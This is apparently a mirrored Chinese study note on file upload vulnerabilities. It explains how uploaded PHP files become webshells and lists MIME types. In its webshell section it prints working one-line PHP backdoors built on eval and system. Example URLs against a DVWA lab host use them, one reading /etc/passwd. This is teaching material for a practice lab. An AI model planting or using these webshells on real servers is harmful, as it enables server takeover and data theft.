zoukankan      html  css  js  c++  java
  • 文件上传漏洞

    简介

    1. 文件上传(File Upload )是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
    2. 正常的文件一般是文档、图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回
    3. 如果恶意文件如PHP,ASP等执行文件绕过web应用,并顺利执行,则相当于黑客直接拿到了webshe11
    4. 一旦黑客拿到Webshel1 ,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
    5. SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制

    实验

    实验一

    实验二

    类型 描述 典型示例
    text 表明文件是普通文本,理论上是人类可读 text/plain, text/html, text/css, text/javascript
    image 表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型 image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
    audio 表明是某种音频文件 audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
    video 表明是某种视频文件 video/webm, video/ogg
    application 表明是某种二进制数据 application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

    对于text文件类型若没有特定的subtype,就使用 text/plain。类似的,二进制文件没有特定或已知的 subtype,即使用 application/octet-stream

    Webshell

    小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数

    大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到

    shell1.php #文件名称
    eval使用php函数,例如phpinfo()
    代码如下
    <?php eval($_REQUEST['password']);?>
    示例
    http://10.3.139.173/dvwa/hackable/uploads/shell1.php?password=phpinfo();

    shell2.php #文件名称
    system使用Linux系统命令,例如1s,cp,rm
    代码如下
    <?php system($_REQUEST['password']);?>
    示例
    http://10.3.139.173/dvwa/hackable/uploads/shell2php?password=cat /etc/passwd

    <?php @eval($_POST['password']);?>
    说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

  • 相关阅读:
    UVALive 7456 Least Crucial Node (并查集)
    UVALive 7454 Parentheses (栈+模拟)
    HDU 5778 abs (枚举)
    HDU 5776 sum (模拟)
    HDU 5806 NanoApe Loves Sequence Ⅱ (模拟)
    HDU 5805 NanoApe Loves Sequence (模拟)
    HDU 5734 Acperience (推导)
    HDU 5842 Lweb and String (水题)
    HDU 5833 Zhu and 772002 (高斯消元)
    HDU 5835 Danganronpa (贪心)
  • 原文地址:https://www.cnblogs.com/ananing/p/13408884.html
Copyright © 2011-2022 走看看